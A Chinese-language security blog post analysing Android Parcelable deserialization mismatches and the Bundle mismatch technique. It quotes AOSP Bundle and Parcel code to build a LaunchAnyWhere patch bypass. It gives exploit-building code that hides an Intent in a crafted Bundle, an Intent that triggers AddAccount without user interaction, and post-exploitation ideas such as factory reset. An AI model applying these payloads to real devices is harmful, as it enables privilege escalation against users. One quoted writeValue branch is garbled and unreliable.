一、前言
- 近期在做Parcelable反序列化和Bundle mismatch方面的研究,在这个过程中有很多需要记录的内容,有些也是网络上相关文章没有提到的一些细节,并且由于aliyun上那篇最经典的原始文章链接失效,所以决定写一篇文章记录这种漏洞。由于Google官方在Android 13中的修改,这类漏洞即将退出历史舞台了,所以也用这篇文章作为纪念吧。
二、什么是Parcelable反序列化漏洞
-
Parcel是Android框架层的一个重要概念,由于直接和Binder驱动通信的方式较为复杂,同时也不利于屏蔽底层实现细节,所以Android提供了Parcel这一上层封装。Parcel的主要实现位于
libbinder.so
中。 -
在Native中使用Binder接口,一般直接使用
libbinder.so
中的transact
和onTransact
函数发送和接收Parcel数据,而在Java中则更多使用AIDL进行实现(但这不代表Java中就无法使用transact
和onTransact
函数,这些API也提供的Java的版本),并且允许开发人员直接将Java类作为AIDL接口的参数。 -
和普通Java中上类似,位于Android框架中的默认实现只允许你传递一些基本类型和部分Java对象,例如String、Array对象或者是List、Map这类容器对象,如果要传递自定义的Java类型,则这个Java类型就必须实现Parcelable接口,这是一个和Java中提供的Serializable很类似的接口,Parcelable接口中要求实现
createFromParcel
和writeToParcel
方法,在这些方法中开发人员需要自行处理一个Parcel对象,并完成将对象写入Parcel,和从中读取并创建对象的任务,是的,也就是序列化与反序列化。 -
在开发人员操作Parcel对象并尝试从其中读取或向其中写入数据时,可能会出现一种错误:开发人员由于种种原因,可能是太粗心、没考虑好边界条件或对某些Java容器类型的理解有误,而导致在处理一个相同的Parcelable对象时,从Parcel中读取数据的字节数,和向其中写入数据的字节数不相等,而造成了错位现象,这便是Parcelable反序列化漏洞,例如如下的代码:
@Override // android.os.Parcelable.Creator public MyClass createFromParcel(Parcel in) { return new MyClass(in); } MyClass(Parcel in) { in.readInt(this.a); this.b = 0; } @Override // android.os.Parcelable public void writeToParcel(Parcel out, int flags) { out.writeInt(this.a); out.writeInt(this.b); }
-
很明显,这位开发人员中读取的时候只读取了4个字节,而写入时候却写入了8个字节!这看起来非常愚蠢,似乎不会有开发人员写出这种漏洞,然而在实际的代码中可能存在比这个例子复杂得多的情况,以至于连Google的开发人员都会犯错,甚至有些漏洞我在第一次看到代码时也没有发现其中的问题,而是用了几小时时间才恍然大悟,发现其中存在一个隐蔽的读写不匹配问题。
三、如何利用Parcelable反序列化漏洞
-
在Android平台上看起来这种反序列化漏洞,只会导致一个简单的Java异常,它不像是Native读写Parcel数据中造成的不匹配,有可能导致内存漏洞而实现代码执行(例如CVE-2021-39798),并且看起来也不能像Java Web领域中的那样构成反序列化的链条从而获得控制权(Java Web中的反序列化链我完全不懂,好奇这种利用方式的读者可以参考其它文章)。但是中Android平台上,由于一个LaunchAnyWhere漏洞补丁绕过,这类漏洞也具备了很大的威力。
-
这个故事有关于2014年的一个LaunchAnyWhere漏洞,具体可以参考申迪的这篇文章:launchAnyWhere: Activity组件权限绕过漏洞解析(Google Bug 7699048 ),我们只大概描述这个问题,它是中AccountManagerService中的AddAccount流程中,由system_server接收到Bundle参数后没有进行检查,直接让Settings取出里面的KEY_INTENT(intent)字段并启动界面,这是一个典型的LaunchAnyWhere漏洞,那么Google当时的修复也很简单,选择了中system_server中收到Bundle之后尝试取出其中的Intent,如果存在这个字段则检查Intent所解析出的最终调用组件是否属于原始调用者,这样就避免了调用者以Settings的身份启动任意Activity的问题,system_server检查Intent的代码如下:
// frameworks/base/services/core/java/com/android/server/accounts/AccountManagerService.java private abstract class StartAccountSession extends Session { //... @Override public void onResult(Bundle result) { //... Intent intent = null; // [1] 尝试从Bundle对象中取出KEY_INTENT if (result != null && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) { // [2] 对KEY_INTENT进行校验 if (!checkKeyIntent( Binder.getCallingUid(), intent)) { onError(AccountManager.ERROR_CODE_INVALID_RESPONSE, "invalid intent in bundle returned"); return; } } //... sendResponse(response, result); } } //... /** * Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our * security policy. * * In particular we want to make sure that the Authenticator doesn't try to trick users * into launching arbitrary intents on the device via by tricking to click authenticator * supplied entries in the system Settings app. */ protected boolean checkKeyIntent(int authUid, Intent intent) { // Explicitly set an empty ClipData to ensure that we don't offer to // promote any Uris contained inside for granting purposes // [3] 删除Intent中的ClipData if (intent.getClipData() == null) { intent.setClipData(ClipData.newPlainText(null, null)); } // [4] 删除Intent中的授权flag intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION)); final long bid = Binder.clearCallingIdentity(); try { PackageManager pm = mContext.getPackageManager(); // [5] 解析出Intent最终调用的Activity ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId); if (resolveInfo == null) { return false; } ActivityInfo targetActivityInfo = resolveInfo.activityInfo; int targetUid = targetActivityInfo.applicationInfo.uid; PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class); // [6] 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用 if (!isExportedSystemActivity(targetActivityInfo) && !pmi.hasSignatureCapability( targetUid, authUid, PackageParser.SigningDetails.CertCapabilities.AUTH)) { String pkgName = targetActivityInfo.packageName; String activityName = targetActivityInfo.name; String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that " + "does not share a signature with the supplying authenticator (%s)."; Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType)); return false; } return true; } finally { Binder.restoreCallingIdentity(bid); } }
-
Settings在收到Intent之后调用
startActivityForResultAsUser
进行发送private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() { @Override public void run(AccountManagerFuture<Bundle> future) { boolean done = true; try { Bundle bundle = future.getResult(); //bundle.keySet(); // [1] 获得KEY_INTENT Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT); if (intent != null) { done = false; Bundle addAccountOptions = new Bundle(); addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent); addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(AddAccountSettings.this)); addAccountOptions.putParcelable(EXTRA_USER, mUserHandle); intent.putExtras(addAccountOptions) .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK); // [2] 启动KEY_INTENT代表的Activity startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle); } else { setResult(RESULT_OK); if (mPendingIntent != null) { mPendingIntent.cancel(); mPendingIntent = null; } } if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle); } catch (OperationCanceledException e) { if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled"); } catch (IOException e) { if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e); } catch (AuthenticatorException e) { if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e); } finally { if (done) { finish(); } } } };
-
这个补丁在当时是没什么问题,但是等到2017年,有海外的研究人员在一份恶意样本中发现,可以利用Parcelable反序列化绕过这个补丁,由于Google的补丁是在system_server中检查Intent,并且又通过AIDL传给Settings之后启动界面,这其中跨越了进程边界,也就涉及到一次序列化和反序列化的过程,那么我们如果通过Parcelable反序列化漏洞的字节错位,通过精确的布局,使得system_server在检查Intent时找不到这个Intent,而在错位后Settings却刚好可以找到,这样就可以实现补丁的绕过并再次实现LaunchAnyWhere,研究人员将发现的这种漏洞利用方式命名为
Bundle mismatch
。
四、从框架代码分析Bundle数据结构
-
Parcel的反序列化核心函数位于
android.os.BaseBundle
类型的readFromParcelInner
中// frameworks/base/core/java/android/os/BaseBundle.java /** * Reads the Parcel contents into this Bundle, typically in order for * it to be passed through an IBinder connection. * @param parcel The parcel to overwrite this bundle from. */ void readFromParcelInner(Parcel parcel) { // Keep implementation in sync with readFromParcel() in // frameworks/native/libs/binder/PersistableBundle.cpp. // [1] 读取Bundle数据总长度 int length = parcel.readInt(); readFromParcelInner(parcel, length); } private void readFromParcelInner(Parcel parcel, int length) { if (length < 0) { throw new RuntimeException("Bad length in parcel: " + length); } else if (length == 0) { // Empty Bundle or end of data. mParcelledData = NoImagePreloadHolder.EMPTY_PARCEL; mParcelledByNative = false; return; } else if (length % 4 != 0) { throw new IllegalStateException("Bundle length is not aligned by 4: " + length); } // [2] 读取magic number,可以是Java Bundle或者Native Bundle,具体区别后面会提到 final int magic = parcel.readInt(); final boolean isJavaBundle = magic == BUNDLE_MAGIC; final boolean isNativeBundle = magic == BUNDLE_MAGIC_NATIVE; if (!isJavaBundle && !isNativeBundle) { throw new IllegalStateException("Bad magic number for Bundle: 0x" + Integer.toHexString(magic)); } // [3] 如果Parcel存在读写Helper(没有研究是什么东西),就不进行lazily-unparcel,而是直接开始unparcel操作 if (parcel.hasReadWriteHelper()) { // If the parcel has a read-write helper, then we can't lazily-unparcel it, so just // unparcel right away. synchronized (this) { initializeFromParcelLocked(parcel, /*recycleParcel=*/ false, isNativeBundle); } return; } // [4] 正常情况下,会使用lazily-unparcel模式,也就是不立即进行数据的反序列化,而是等真正需要使用的时候再进行 // Advance within this Parcel int offset = parcel.dataPosition(); parcel.setDataPosition(MathUtils.addOrThrow(offset, length)); Parcel p = Parcel.obtain(); p.setDataPosition(0); p.appendFrom(parcel, offset, length); p.adoptClassCookies(parcel); if (DEBUG) Log.d(TAG, "Retrieving " + Integer.toHexString(System.identityHashCode(this)) + ": " + length + " bundle bytes starting at " + offset); p.setDataPosition(0); mParcelledData = p; mParcelledByNative = isNativeBundle; }
-
这里面由于正常都是使用lazily-unparcel模式,所以在对Bundle内容进行操作的时候才会实际调用
initializeFromParcelLocked
来执行反序列化,这种方法有助于在多个进程之间连续传递同一个Bundle而不需要访问其中的内容时提高性能。
// frameworks/base/core/java/android/os/BaseBundle.java
private void initializeFromParcelLocked(@NonNull Parcel parcelledData, boolean recycleParcel,
boolean parcelledByNative) {
if (LOG_DEFUSABLE && sShouldDefuse && (mFlags & FLAG_DEFUSABLE) == 0) {
Slog.wtf(TAG, "Attempting to unparcel a Bundle while in transit; this may "
+ "clobber all data inside!", new Throwable());
}
if (isEmptyParcel(parcelledData)) {
if (DEBUG) {
Log.d(TAG, "unparcel "
+ Integer.toHexString(System.identityHashCode(this)) + ": empty");
}
if (mMap == null) {
mMap = new ArrayMap<>(1);
} else {
mMap.erase();
}
mParcelledData = null;
mParcelledByNative = false;
return;
}
// [1] 读取元素个数
final int count = parcelledData.readInt();
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ ": reading " + count + " maps");
}
if (count < 0) {
return;
}
ArrayMap<String, Object> map = mMap;
if (map == null) {
map = new ArrayMap<>(count);
} else {
map.erase();
map.ensureCapacity(count);
}
try {
if (parcelledByNative) {
// If it was parcelled by native code, then the array map keys aren't sorted
// by their hash codes, so use the safe (slow) one.
// [2] 对于Native Bundle,其Key没有按照hashcode进行排序,需要排序后再存入ArrayMap
parcelledData.readArrayMapSafelyInternal(map, count, mClassLoader);
} else {
// If parcelled by Java, we know the contents are sorted properly,
// so we can use ArrayMap.append().
// [3] 而对于Java Bundle则可以直接向ArrayMap中存入数据,我们主要关注这种情况
parcelledData.readArrayMapInternal(map, count, mClassLoader);
}
} catch (BadParcelableException e) {
if (sShouldDefuse) {
Log.w(TAG, "Failed to parse Bundle, but defusing quietly", e);
map.erase();
} else {
throw e;
}
} finally {
mMap = map;
if (recycleParcel) {
recycleParcel(parcelledData);
}
mParcelledData = null;
mParcelledByNative = false;
}
if (DEBUG) {
Log.d(TAG, "unparcel " + Integer.toHexString(System.identityHashCode(this))
+ " final map: " + mMap);
}
}
-
这里面有一个值得注意的问题是Bundle中Key排序的问题,我们在初始构造原始Parcel数据的时候,要考虑到Key的hashcode排序问题,否则在反序列化之后Bundle的key会被重新排序,影响我们后续的利用。
// frameworks/base/core/java/android/os/Parcel.java /* package */ void readArrayMapInternal(@NonNull ArrayMap outVal, int N, @Nullable ClassLoader loader) { if (DEBUG_ARRAY_MAP) { RuntimeException here = new RuntimeException("here"); here.fillInStackTrace(); Log.d(TAG, "Reading " + N + " ArrayMap entries", here); } int startPos; // [1] 循环读取key-value while (N > 0) { if (DEBUG_ARRAY_MAP) startPos = dataPosition(); // [2] 读取key,显然key是一个字符串类型 String key = readString(); // [3] 读取value Object value = readValue(loader); if (DEBUG_ARRAY_MAP) Log.d(TAG, " Read #" + (N-1) + " " + (dataPosition()-startPos) + " bytes: key=0x" + Integer.toHexString((key != null ? key.hashCode() : 0)) + " " + key); // [4] 追加到ArrayMap中 outVal.append(key, value); N--; } // [5] 检查key hashcode以及是否有重复的key outVal.validate(); }
-
而
readValue
的实现则会根据不同类型的value而有所不同// frameworks/base/core/java/android/os/Parcel.java /** * Read a typed object from a parcel. The given class loader will be * used to load any enclosed Parcelables. If it is null, the default class * loader will be used. */ @Nullable public final Object readValue(@Nullable ClassLoader loader) { int type = readInt(); switch (type) { case VAL_NULL: return null; case VAL_STRING: return readString(); case VAL_INTEGER: return readInt(); case VAL_MAP: return readHashMap(loader); case VAL_PARCELABLE: return readParcelable(loader); case VAL_SHORT: return (short) readInt(); case VAL_LONG: return readLong(); case VAL_FLOAT: return readFloat(); case VAL_DOUBLE: return readDouble(); case VAL_BOOLEAN: return readInt() == 1; case VAL_CHARSEQUENCE: return readCharSequence(); case VAL_LIST: return readArrayList(loader); case VAL_BOOLEANARRAY: return createBooleanArray(); case VAL_BYTEARRAY: return createByteArray(); case VAL_STRINGARRAY: return readStringArray(); case VAL_CHARSEQUENCEARRAY: return readCharSequenceArray(); case VAL_IBINDER: return readStrongBinder(); case VAL_OBJECTARRAY: return readArray(loader); case VAL_INTARRAY: return createIntArray(); case VAL_LONGARRAY: return createLongArray(); case VAL_BYTE: return readByte(); case VAL_SERIALIZABLE: return readSerializable(loader); case VAL_PARCELABLEARRAY: return readParcelableArray(loader); case VAL_SPARSEARRAY: return readSparseArray(loader); case VAL_SPARSEBOOLEANARRAY: return readSparseBooleanArray(); case VAL_BUNDLE: return readBundle(loader); // loading will be deferred case VAL_PERSISTABLEBUNDLE: return readPersistableBundle(loader); case VAL_SIZE: return readSize(); case VAL_SIZEF: return readSizeF(); case VAL_DOUBLEARRAY: return createDoubleArray(); default: int off = dataPosition() - 4; throw new RuntimeException( "Parcel " + this + ": Unmarshalling unknown type code " + type + " at offset " + off); } }
-
这里面根据不同类型有不同的读取方法,如果要做利用的话需要巧妙利用其中的逻辑进行布局,我常用的是
createByteArray
的逻辑,当然readString
也是必不可少的。这里面需要注意的是,readString
读取数据时会有padding的数据在其中,在利用过程中需要特别考虑这个情况,最简单的方法是进行实际的测试。// frameworks/native/libs/binder/Parcel.cpp const char16_t* Parcel::readString16Inplace(size_t* outLen) const { int32_t size = readInt32(); // watch for potential int overflow from size+1 if (size >= 0 && size < INT32_MAX) { *outLen = size; const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t)); if (str != nullptr) { if (str[size] == u'\0') { return str; } android_errorWriteLog(0x534e4554, "172655291"); } } *outLen = 0; return nullptr; } const void* Parcel::readInplace(size_t len) const { if (len > INT32_MAX) { // don't accept size_t values which may have come from an // inadvertent conversion from a negative int. return nullptr; } if ((mDataPos+pad_size(len)) >= mDataPos && (mDataPos+pad_size(len)) <= mDataSize && len <= pad_size(len)) { if (mObjectsSize > 0) { status_t err = validateReadData(mDataPos + pad_size(len)); if(err != NO_ERROR) { // Still increment the data position by the expected length mDataPos += pad_size(len); ALOGV("readInplace Setting data pos of %p to %zu", this, mDataPos); return nullptr; } } const void* data = mData+mDataPos; mDataPos += pad_size(len); ALOGV("readInplace Setting data pos of %p to %zu", this, mDataPos); return data; } return nullptr; }
-
同时Bundle的writeToParcel也具有类似的逻辑
// frameworks/base/core/java/android/os/BaseBundle.java /** * Writes the Bundle contents to a Parcel, typically in order for * it to be passed through an IBinder connection. * @param parcel The parcel to copy this bundle to. */ void writeToParcelInner(Parcel parcel, int flags) { // If the parcel has a read-write helper, we can't just copy the blob, so unparcel it first. if (parcel.hasReadWriteHelper()) { unparcel(); } // Keep implementation in sync with writeToParcel() in // frameworks/native/libs/binder/PersistableBundle.cpp. final ArrayMap<String, Object> map; // [1] 如果以lazily-unparcel模式读取数据后并没有进行解析,则直接把mParcelledData写入Parcel中即可,无需进行序列化 synchronized (this) { // unparcel() can race with this method and cause the parcel to recycle // at the wrong time. So synchronize access the mParcelledData's content. if (mParcelledData != null) { if (mParcelledData == NoImagePreloadHolder.EMPTY_PARCEL) { parcel.writeInt(0); } else { int length = mParcelledData.dataSize(); parcel.writeInt(length); parcel.writeInt(mParcelledByNative ? BUNDLE_MAGIC_NATIVE : BUNDLE_MAGIC); parcel.appendFrom(mParcelledData, 0, length); } return; } map = mMap; } // Special case for empty bundles. if (map == null || map.size() <= 0) { parcel.writeInt(0); return; } int lengthPos = parcel.dataPosition(); parcel.writeInt(-1); // placeholder, will hold length parcel.writeInt(BUNDLE_MAGIC); int startPos = parcel.dataPosition(); // [2] 如果是已反序列化过后的Bundle,则mParcelledData中不会有数据,正常执行序列化流程 parcel.writeArrayMapInternal(map); int endPos = parcel.dataPosition(); // Backpatch length parcel.setDataPosition(lengthPos); int length = endPos - startPos; // [3] 最后写入数据总长度即可 parcel.writeInt(length); parcel.setDataPosition(endPos); }
-
序列化中使用的
writeArrayMapInternal
也具有相似的流程// frameworks/base/core/java/android/os/Parcel.java /** * Flatten an ArrayMap into the parcel at the current dataPosition(), * growing dataCapacity() if needed. The Map keys must be String objects. */ /* package */ void writeArrayMapInternal(@Nullable ArrayMap<String, Object> val) { if (val == null) { writeInt(-1); return; } // Keep the format of this Parcel in sync with writeToParcelInner() in // frameworks/native/libs/binder/PersistableBundle.cpp. // [1] 写入元素个数 final int N = val.size(); writeInt(N); if (DEBUG_ARRAY_MAP) { RuntimeException here = new RuntimeException("here"); here.fillInStackTrace(); Log.d(TAG, "Writing " + N + " ArrayMap entries", here); } int startPos; // [2] 循环写入key-value for (int i=0; i<N; i++) { if (DEBUG_ARRAY_MAP) startPos = dataPosition(); // [3] 写入key writeString(val.keyAt(i)); // [4] 写入value writeValue(val.valueAt(i)); if (DEBUG_ARRAY_MAP) Log.d(TAG, " Write #" + i + " " + (dataPosition()-startPos) + " bytes: key=0x" + Integer.toHexString(val.keyAt(i) != null ? val.keyAt(i).hashCode() : 0) + " " + val.keyAt(i)); } }
-
writeValue
是和readValue
相对应的逻辑// frameworks/base/core/java/android/os/Parcel.java /** * Flatten a generic object in to a parcel. The given Object value may * currently be one of the following types: * * <ul> * <li> null * <li> String * <li> Byte * <li> Short * <li> Integer * <li> Long * <li> Float * <li> Double * <li> Boolean * <li> String[] * <li> boolean[] * <li> byte[] * <li> int[] * <li> long[] * <li> Object[] (supporting objects of the same type defined here). * <li> {@link Bundle} * <li> Map (as supported by {@link #writeMap}). * <li> Any object that implements the {@link Parcelable} protocol. * <li> Parcelable[] * <li> CharSequence (as supported by {@link TextUtils#writeToParcel}). * <li> List (as supported by {@link #writeList}). * <li> {@link SparseArray} (as supported by {@link #writeSparseArray(SparseArray)}). * <li> {@link IBinder} * <li> Any object that implements Serializable (but see * {@link #writeSerializable} for caveats). Note that all of the * previous types have relatively efficient implementations for * writing to a Parcel; having to rely on the generic serialization * approach is much less efficient and should be avoided whenever * possible. * </ul> * * <p class="caution">{@link Parcelable} objects are written with * {@link Parcelable#writeToParcel} using contextual flags of 0. When * serializing objects containing {@link ParcelFileDescriptor}s, * this may result in file descriptor leaks when they are returned from * Binder calls (where {@link Parcelable#PARCELABLE_WRITE_RETURN_VALUE} * should be used).</p> */ public final void writeValue(@Nullable Object v) { if (v == null) { writeInt(VAL_NULL); } else if (v instanceof String) { writeInt(VAL_STRING); writeString((String) v); } else if (v instanceof Integer) { writeInt(VAL_INTEGER); writeInt((Integer) v); } else if (v instanceof Map) { writeInt(VAL_MAP); writeMap((Map) v); } else if (v instanceof Bundle) { // Must be before Parcelable writeInt(VAL_BUNDLE); writeBundle((Bundle) v); } else if (v instanceof PersistableBundle) { writeInt(VAL_PERSISTABLEBUNDLE); writePersistableBundle((PersistableBundle) v); } else if (v instanceof Parcelable) { // IMPOTANT: cases for classes that implement Parcelable must // come before the Parcelable case, so that their specific VAL_* // types will be written. writeInt(VAL_PARCELABLE); writeParcelable((Parcelable) v, 0); } else if (v instanceof Short) { writeInt(VAL_SHORT); writeInt(((Short) v).intValue()); } else if (v instanceof Long) { writeInt(VAL_LONG); writeLong((Long) v); } else if (v instanceof Float) { writeInt(VAL_FLOAT); writeFloat((Float) v); } else if (v instanceof Double) { writeInt(VAL_DOUBLE); writeDouble((Double) v); } else if (v instanceof Boolean) { writeInt(VAL_BOOLEAN); writeInt((Boolean) v ? 1 : 0); } else if (v instanceof CharSequence) { // Must be after String writeInt(VAL_CHARSEQUENCE); writeCharSequence((CharSequence) v); } else if (v instanceof List) { writeInt(VAL_LIST); writeList((List) v); } else if (v instanceof SparseArray) { writeInt(VAL_SPARSEARRAY); writeSparseArray((SparseArray) v); } else if (v instanceof boolean[]) { writeInt(VAL_BOOLEANARRAY); writeBooleanArray((boolean[]) v); } else if (v instanceof byte[]) { writeInt(VAL_BYTEARRAY); writeByteArray((byte[]) v); } else if (v instanceof String[]) { writeInt(VAL_STRINGARRAY); writeInt(VAL_CHARSEQUENCEARRAY); writeCharSequenceArray((CharSequence[]) v); } else if (v instanceof IBinder) { writeInt(VAL_IBINDER); writeStrongBinder((IBinder) v); } else if (v instanceof Parcelable[]) { writeInt(VAL_PARCELABLEARRAY); writeParcelableArray((Parcelable[]) v, 0); } else if (v instanceof int[]) { writeInt(VAL_INTARRAY); writeIntArray((int[]) v); } else if (v instanceof long[]) { writeInt(VAL_LONGARRAY); writeLongArray((long[]) v); } else if (v instanceof Byte) { writeInt(VAL_BYTE); writeInt((Byte) v); } else if (v instanceof Size) { writeInt(VAL_SIZE); writeSize((Size) v); } else if (v instanceof SizeF) { writeInt(VAL_SIZEF); writeSizeF((SizeF) v); } else if (v instanceof double[]) { writeInt(VAL_DOUBLEARRAY); writeDoubleArray((double[]) v); } else { Class<?> clazz = v.getClass(); if (clazz.isArray() && clazz.getComponentType() == Object.class) { // Only pure Object[] are written here, Other arrays of non-primitive types are // handled by serialization as this does not record the component type. writeInt(VAL_OBJECTARRAY); writeArray((Object[]) v); } else if (v instanceof Serializable) { // Must be last writeInt(VAL_SERIALIZABLE); writeSerializable((Serializable) v); } else { throw new RuntimeException("Parcel: unable to marshal value " + v); } } }
五、Bundle mismatch利用思路
-
了解了Android框架对Bundle类型的处理,现在我们需要关注如何开发一个Bundle mismatch利用,我们依旧以上面的漏洞为例,再回顾一下我们的示例代码:
@Override // android.os.Parcelable.Creator public MyClass createFromParcel(Parcel in) { return new MyClass(in); } MyClass(Parcel in) { in.readInt(this.a); this.b = 0; } @Override // android.os.Parcelable public void writeToParcel(Parcel out, int flags) { out.writeInt(this.a); out.writeInt(this.b); }
-
在本例中读取是4个字节,而写入是8个字节,那么我们考虑后面4个字节是整个利用的核心,按照上文中描述的Bundle格式解析逻辑,当序列化时多写入一个0之后,下一次读完了4字节之后,这个0会何去何从呢?答案是他必定会作为下一个Bundle key的key string存在,而我们知道
readString
的开头是先读取一个int作为字符串的长度。所以问题就有了答案,我们后面这个0就会被认为是一个字符串的长度,并且是一个0长度的字符串,注意不是null字符串,因为null字符串的长度字段为-1。// frameworks/native/libs/binder/Parcel.cpp const char16_t* Parcel::readString16Inplace(size_t* outLen) const { // [1] 我们多写入的这个0会作为这里读取int32的值,也就是作为String16的长度 int32_t size = readInt32(); // watch for potential int overflow from size+1 if (size >= 0 && size < INT32_MAX) { *outLen = size; // [2] 注意,即使是size=0长度的String16,依旧会调用readInplace(1*sizeof(char16_t)),也就是4字节。 const char16_t* str = (const char16_t*)readInplace((size+1)*sizeof(char16_t)); if (str != nullptr) { if (str[size] == u'\0') { return str; } android_errorWriteLog(0x534e4554, "172655291"); } } *outLen = 0; return nullptr; }
-
现在我们知道,除了前面this.b多写入的0之外,下一个4字节会作为padding存在,那么后面我们如何继续布局呢?这里面需要再填充一个类型字段,我们这里选择的是VAL_BYTEARRAY,也就是13,后续还需要布局字节数组的长度和内容,这个就要结合错位前的逻辑进行布局了,经过精心调试之后,我给出的答案如下(不包含错位写入的0):
exp.writeInt(3); // bundle key count // 第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可 byte[] key1Name = {0x00}; exp.writeString(new String(key1Name)); exp.writeInt(4); // VAL_PARCELABLE exp.writeString("com.example.MyClass"); // class name // 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0 exp.writeInt(0); // 在错位之前,由于没有错位写入的0存在,所以直接整体作为长度为3的key string // 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个len=3会正常填充上padding那个位置,使得后续读取的类型为VAL_BYTEARRAY(13),而8则是字节数组的长度了,前面的0用于补上4字节的高位 byte[] key2key = {13, 0, 8}; exp.writeString(new String(key2key)); // 在错位之前,这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13) // 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分 exp.writeInt(13); int intentSizeOffset = exp.dataPosition(); // 在错位之前这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中 // 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁 exp.writeInt(-1); int intentStartOffset = exp.dataPosition(); exp.writeString("intent"); exp.writeInt(4); exp.writeParcelable(intent, 0); int intentEndOffset = exp.dataPosition(); // 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够 exp.writeString("toor"); exp.writeInt(-1); exp.setDataPosition(intentSizeOffset); exp.writeInt(intentEndOffset - intentStartOffset);
六、如何无交互调用AddAccount接口
-
正常情况下我们拉起设置的AddAccount页面使用的是Android SDK中提供的Intent,其调用的Activity是
com.android.settings.accounts.AddAccountSettings
,而这个Activity会拉起android.accounts.ChooseAccountActivity
这一Activity,要求用户选择一个Account进行添加,显然这增加了攻击成本。更好的选择是Android SDK中的另一个Activity名为android.accounts.ChooseTypeAndAccountActivity
,其中允许指定allowableAccounts
参数,以限制展示的Account数量,并且在仅有一个选择时,可以无需交互直接进行AddAccount操作:// frameworks/base/core/java/android/accounts/ChooseTypeAndAccountActivity.java // In cases where the activity does not need to show an account picker, cut the chase // and return the result directly. Eg: // Single account -> select it directly // No account -> launch add account activity directly if (mPendingRequest == REQUEST_NULL) { // If there are no relevant accounts and only one relevant account type go directly to // add account. Otherwise let the user choose. if (mPossiblyVisibleAccounts.isEmpty()) { setNonLabelThemeAndCallSuperCreate(savedInstanceState); if (mSetOfRelevantAccountTypes.size() == 1) { runAddAccountForAuthenticator(mSetOfRelevantAccountTypes.iterator().next()); } else { startChooseAccountTypeActivity(); } } }
-
使用下面的Intent即可无交互调用AddAccount接口,实现漏洞利用:
Intent intent = new Intent(); intent.setComponent(new ComponentName("android", "android.accounts.ChooseTypeAndAccountActivity")); ArrayList<Account> allowableAccounts = new ArrayList<>(); allowableAccounts.add(new Account(MY_ACCOUNT_NAME, MY_ACCOUNT_TYPE)); intent.putExtra("allowableAccounts", allowableAccounts); intent.putExtra("allowableAccountTypes", new String[] { MY_ACCOUNT_TYPE }); Bundle options = new Bundle(); options.putBoolean("alivePullStartUp", true); intent.putExtra("addAccountOptions", options); intent.putExtra("descriptionTextOverride", " "); intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_CLEAR_TASK); startActivity(intent);
七、后续利用
- 我们通过Parcelable反序列化漏洞配合Bundle mismatch的利用方式,实现了以Settings(uid=1000)的身份发送任意Intent,后续的利用思路除了直接调用一些特权接口实现拨打紧急号码、恢复出厂设置等影响之外,还可以选择接续上低权限应用的Intent重定向漏洞,从而攻击其他应用,也可以考虑利用URI grant的方式授权FileProvider读写文件,但是这个方法在Android 10中被限制了,Google在AOSP代码中默认限制uid=1000的调用者授权URI给其他应用,对于URI grant的机制后续会考虑写专门的文章进行讲解。
八、缓解措施
- Google在Android 13中引入了新的缓解措施,引入了Bundle读取key-value的字节数锁定的机制,即使一个key-value发生错位也不会造成后续key-value读取的错误,规避了这一类问题。
九、总结
- 本文主要介绍了Parcelable反序列化漏洞的成因,并且结合Android框架代码分析了Bundle数据的解析过程,最后给出了一个实际案例的利用编写思路,并讨论了如何无交互实现利用以及后续利用的思路。
- Clang裁缝店的博客有一篇更加详细的分析文章,可供参考:https://xuanxuanblingbling.github.io/ctf/android/2024/04/13/launchanywhere02/
厉害厉害,很赞!